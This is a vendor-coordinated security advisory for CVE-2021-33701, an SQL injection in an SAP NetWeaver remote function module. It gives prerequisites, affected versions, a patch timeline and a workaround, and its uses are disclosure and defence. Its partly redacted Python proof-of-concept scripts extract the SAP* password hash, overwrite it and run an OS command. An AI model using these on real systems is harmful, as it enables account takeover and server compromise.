SAP Netweaver suffers from a remote ADBC SQL injection vulnerability in IUUC_RECON_RC_COUNT_TABLE_BIG. Other software and various versions are also affected.

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SEC Consult Vulnerability Lab Security Advisory < 20211214-0 >
product: SAP Netweaver
vulnerable version: see vulnerable/tested versions section below
fixed version: see solution section below
CVE number: CVE-2021-33701
SAP SNote: 3078312
impact: Critical
CVSS 3.1 Score: 9.1
CVSS 3.1 Vector: CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H
found: 2021-07-07
by: Raschin Tavakoli (Office Vienna)
SEC Consult Vulnerability Lab

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Vendor description:
"SAP SE is a German multinational software corporation based in Walldorf,
Baden-Württemberg, that develops enterprise software to manage business
operations and customer relations. The company is especially known for its ERP
software. SAP is the largest non-American software company by revenue, the
world's third-largest publicly-traded software company by revenue, and the
largest German company by market capitalisation."


Business recommendation:
SAP® released the patch (SNote 3078312) and SEC Consult advises all
SAP® customers to update their systems immediately.

An in-depth security analysis performed by security professionals is
highly advised, as the software may be affected from further security issues.

Vulnerability overview/description:
1. Remote ADBC SQL Injection in SAP IUUC_RECON_RC_COUNT_TABLE_BIG (CVE-2021-33701)

The IT_WHERE_CLAUSE parameter of the function module
IUUC_RECON_RC_COUNT_TABLE_BIG is vulnerable to an ADBC SQL Injection. The
function is part of the package CNV_INC_PROCESSING_REMOTE inside the function
module group IUUC_REMOTE. It is typically used to count table records in the
context of logging table and trigger creations.

ADBC is an API for the Native SQL interface of the AS ABAP that is based on
ABAP Objects and can be used to pass Native SQL statements to the database
interface. ADBC SQL injections are a very serious type of vulnerability as
they allow attackers not only to access data directly at the database layer
but also to break out of the current client context. Moreover, stacked queries
can be used to perform arbitrary read/write commands. All of this leads to
full compromise of the SAP application server.

As the affected function module is remote enabled, it allows attackers to
perform remote attacks via RFC.

Note that the vulnerability was originally found by SEC Consult during a
research on a system with DMIS in version DMIS 2011_1_731 SP 0013. In this
version, the same parameter IT_WHERE_CLAUSE was vulnerable to an ABAP
Command Injection.

The vulnerability seems to have been fixed insufficiently, leaving behind this
ADBC SQL Injection. The advisory can be viewed at the following URL:

Attack Prerequisites
1. Remote ADBC SQL Injection in SAP IUUC_RECON_RC_COUNT_TABLE_BIG (CVE-2021-33701)

First prerequisite is the authorization object S_DMIS (SAP SLO Data migration
server) with at least the following settings:

MBT_PR_ARE: SAP Landscape Transformation
MBT_PR_LEV: (not needed to be set)
ACTVT: 03 Display

Note that it is common practice that authorization objects are (mis)configured
with wildcards, which increases the likelihood of exploitation of the vulnerability.

Further, authorization to perform function calls (S_RFC) has to be
granted for remote exploitation or access to SE37 for local privilege escalation

In the majority of cases internal RFC communications are nowadays still found
to be unencrypted. This increases the risk that attackers wiretap account
passwords. Once such user is hijacked, the attacker has gained all necessary
prerequisites for further attacks as described in this advisory.

Proof of concept:
1. Remote ADBC SQL Injection in SAP IUUC_RECON_RC_COUNT_TABLE_BIG (CVE-2021-33701)

Example A: Arbitrary Read

As a proof of concept, a script was created to brute force the password hash
of the SAP* users in client 000 while authenticated to client 001. This
also demonstrates the possibility of breaking out of the current client context.
For this example, a boolean based Blind SQL attack was used. In
order to get the exploitation to work, an arbitrary existing table has to be
specified for the parameter I_TABNAME (in this PoC ZDEMO_SOH was chosen).

The following excerpt shows the source code of the script:

* ************************************************************************** *
#!/usr/bin/env python3
from pyrfc import Connection
from string import ascii_letters

def generate_alphabet():
alph = []
for c in ascii_letters:
for i in range(0,10):
return alph

if __name__ == '__main__':
final_str = ""
conn = Connection(ashost="XX.XX.XX.XX", sysnr="00", client= "001",
user= "Peter", passwd="Sap123456", lang='EN')
alph = generate_alphabet()

print("Brute Forcing SAP* password hash in client 000 ...")

for i in range(16, 61):
toggle = 0
for c in alph:
where_clause = ("('" + c +
",1) from USR02 WHERE BNAME='SAP*' AND MANDT='000'))")

[ --- PoC partially removed --- ]

if(result['ET_COUNT'][0]['RECCNT'] != 0):
final_str += c
print("{x-issha, 1024}" + final_str,end='\r')
print ("\n")
* ************************************************************************** *

Running the code produces the following output:

Brute Forcing SAP* password hash in client 000...
{x-issha, 1024}DRM3SNvfwWWsDf71QYyx+5L0AkN3l0nyKgPjvlBsPqE=

Example B: Arbitrary Write

The next proof of concept demonstrates arbitrary write to the database by using
stacked queries. The following payload inserts the password hash corresponding
to the plaintext password "Test123" into the SAP* users of all clients and
then authenticates with the user SAP* on the other client 000. Afterwards, the
OS command "ip addr" is executed:

* ************************************************************************** *
#!/usr/bin/env python3
from pyrfc import Connection

def read_ABAP_Report():
with open('X:\\test.abap') as file:
content = file.readlines()
content = [x.strip() for x in content]
return content

if __name__ == '__main__':
final_str = ""
conn = Connection(ashost="XX.XX.XX.XX", sysnr="00", client= "001",
user= "Peter", passwd="Sap123456", lang='EN')

where_clause = (
"'{x-issha, 1024}voJRVT/rrJ31pxfmhb/zaBqhXA81CYKSnylMlKr/CkE=' "

[ --- PoC partially removed --- ]

conn2 = Connection(ashost="XX.XX.XX.XX", sysnr="00", client= "000",
user= "SAP*", passwd="Test123", lang='EN')

inject = ['REPORT Z_TEST213.'
'DATA(c) = \'ip addr\'.',
'DATA t TYPE TABLE OF char255.',
'DATA l(250) TYPE c.',
'LOOP AT t INTO l.',
'WRITE: / l.',

params = {'PROGRAM':inject}
result ='/SAPDS/RFC_ABAP_INSTALL_RUN', **params)
for x in result['WRITES']:
* ************************************************************************** *

Running the code produces the following output:

$> .\
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group
default ql
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet scope host lo
valid_lft forever preferred_lft forever
inet6 ::1/128 scope host
valid_lft forever preferred_lft forever
2: enp0s3: <NO-CARRIER,BROADCAST,MULTICAST,UP> mtu 1500 qdisc pfifo_fast state
link/ether XX:XX:XX:XX:XX:XX brd ff:ff:ff:ff:ff:ff
3: enp0s8: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state U
P grou
link/ether XX:XX:XX:XX:XX:XX brd ff:ff:ff:ff:ff:ff
inet XX.XX.XX.XX/24 brd XX.XX.XX.255 scope global noprefixroute enp0s8
valid_lft forever preferred_lft forever
inet6 fe80::a00:27ff:fec3:fa40/64 scope link
valid_lft forever preferred_lft forever

Vulnerable / tested versions:
This vulnerability has been tested on SAP Netweaver 752 SP-LEVEL 0004
DMIS Release 2011_1_731 SP-Level 0016 SP SAPK-11616INDMIS.

According to the vendor, the following products / versions are affected:
* S4CORE 105 < SAPK-10503INS4CORE
* S4CORE 104 < SAPK-10405INS4CORE
* S4CORE 103 < SAPK-10307INS4CORE
* S4CORE 102 < SAPK-10209INS4CORE
* S4CORE 101 < SAPK-10111INS4CORE
* S4CORE 100
* DMIS 2018_1_752 < SAPK-20106INDMIS
* DMIS 2020 < SAPK-20202INDMIS
* DMIS 2011_1_700 < SAPK-11321INDMIS
* DMIS 2011_1_710 < SAPK-11421INDMIS
* DMIS 2011_1_730 < SAPK-11521INDMIS
* DMIS 2011_1_731 < SAPK-11621INDMIS
* DMIS 2011_1_620 < SAPK-11121INDMIS
* DMIS 2011_1_640 < SAPK-11221INDMIS

Vendor contact timeline:
2021-07-08: Contacting SAP Product Security Response Team through Web Portal
ID SR-21-00009 has been assigned
2021-07-19: Vendor confirms vulnerability
2021-08-10: SNote 3078312 with patch released
2021-11-17: SEC Consult sends final advisory to vendor and informs about release
2021-11-18: SAP requests to obfuscate or remove PoC
2021-12-14: Coordinated release of security advisory

SEC Consult advises all SAP® customers to implement SAP Security Note
3078312 immediately. Note that Security Note 3078312 contains no automatic
correction instructions for customers who run systems with DMIS versions or
Support Package levels lower than DMIS 2011 SP10 (2015). Please refer to the
section workaround.

In lower SP levels, the correction can be applied manually by modifying
function module IUUC_RECON_RC_COUNT_TABLE_BIG adding the following statement
directly after the authorization check:

ASSERT it_where_clause[] IS INITIAL.

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EOF Raschin Tavakoli / @2021

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